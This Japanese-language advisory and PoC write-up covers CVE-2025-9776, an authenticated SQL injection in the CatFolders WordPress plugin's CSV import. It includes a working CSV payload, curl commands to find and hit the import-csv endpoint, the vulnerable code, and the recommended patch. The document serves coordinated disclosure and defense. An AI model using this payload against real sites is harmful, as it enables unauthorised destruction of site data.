
CVE-2025-9776 — CatFolders WordPress プラグイン: CSVインポート経由の認証済みSQLインジェクション | POC + 解説
CatFolders WordPressプラグインに、Authorレベルのユーザーが悪意のあるCSVインポートを通じてデータベースクエリを操作できる認証済みSQLインジェクションの脆弱性が発見されました。
発見者: Kai Aizen (SnailSploit)
公開日: 2025年
CVSSスコア: 6.5(中)
CWE: CWE-89 - SQLインジェクション
CatFolders – Tame Your WordPress Media Library by Category には、CSVインポート機能に認証済みSQLインジェクションの脆弱性が存在します。ユーザーが指定したCSVの attachments 列はリストに分割され、そのまま FolderModel::set_attachments() に渡されます。このメソッドは、適切なサニタイズやパラメータ化を行わずに、それらの値を生のSQLの IN (...) 句に連結します。
この脆弱性により、Authorレベルの権限を持つ認証済み攻撃者は以下を実行できます:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
| メトリクス | 値 |
|---|---|
| 攻撃元 | ネットワーク (AV:N) |
| 攻撃条件の複雑さ | 低 (AC:L) |
| 必要な権限 | 低 (PR:L) - Author以上 |
| ユーザー操作 | 不要 (UI:N) |
| 影響範囲 | 変更なし (S:U) |
| 機密性への影響 | なし (C:N) |
| 完全性への影響 | 低 (I:L) |
| 可用性への影響 | 低 (A:L) |
この脆弱性はCSVインポートのワークフローに存在します:
ファイル: includes/Rest/Controllers/ImportController.php
import_csv メソッドは、フィールドごとのサニタイズなしでアップロードされたCSVを解析しますrestore_folders() が以下を呼び出します:FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
ファイル: includes/Models/FolderModel.php
set_attachments() は文字列連結を使用して生のSQLを構築します:'raw' => 'post_id IN (' . $attachmentIds . ')'
Authorレベルの権限(upload_files 権限)を持つ攻撃者は、CSVインポートエンドポイントを通じて悪意のあるSQLを注入できます:
悪意のあるCSVペイロード:
id,name,attachments
1,Test Folder,"1) OR 1=1--"
その結果生成される脆弱なクエリ:
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
これにより IN(...) 句を飛び出してクエリの意味を変更し、すべての行に影響を及ぼす可能性があります。
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
一般的な結果: /catf/v1/import-csv
catf_inject.csv という名前のファイルを作成します:
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
NS="/catf/v1" # 特定した名前空間に置き換えてください
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
期待される応答:
{ "success": true }
サーバーは以下のクエリを構築・実行します:
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
これにより、意図したよりも広範囲のDELETE/INSERT操作が実行され、データベース全体のフォルダーと添付ファイルの関連付けが消去される可能性があります。
スタンドアロンのSQLiteシミュレーションを実行して、この脆弱性を安全に観察できます:
python3 poc/catfolders_sql_poc.py
このスクリプトは脆弱なクエリを表示し、悪意のあるトークンがすべての行を返す一方、パラメータ化されたバージョンがそれを適切に拒否することを実証します。
直ちに必要な対応:
最小限の強化ステップ2つ:
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
set_attachments() 内で整数を強制する $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
すべての生のSQL連結を、WordPressの $wpdb->prepare() を使用したパラメータ化クエリに置き換えます:
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
さらに:
完全なパッチは patch/catfolders_fix.patch にあります
CVE-2025-9776/
├── README.md # このファイル
├── poc/
│ ├── catf_inject.csv # 悪意のあるCSVペイロード
│ └── catfolders_sql_poc.py # 安全なSQLiteシミュレーション
└── patch/
└── catfolders_fix.patch # 推奨される修正
研究者: Kai Aizen (SnailSploit)
開示プロセス: Wordfenceバグ報奨金プログラムを通じた協調的開示
⚠️ 重要な免責事項
この概念実証は、防御的な研究および教育目的専用に提供されています。
コンピュータシステムへの不正アクセスは、以下の法律を含む法律で禁止されています:
自己責任で使用してください。研究者およびSnailSploitは、この情報の悪用について一切の責任を負いません。
この脆弱性に関する質問や追加情報については:
セキュリティを維持し、WordPressインストールを常に最新の状態に保ってください!
最終更新日: 2025年10月13日
このプロジェクトの完全なライトアップ、方法論、および関連する研究は以下にあります:
作成者: Kai Aizen — 独立系攻撃的セキュリティ研究者。
snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
同じ攻撃。異なる基盤。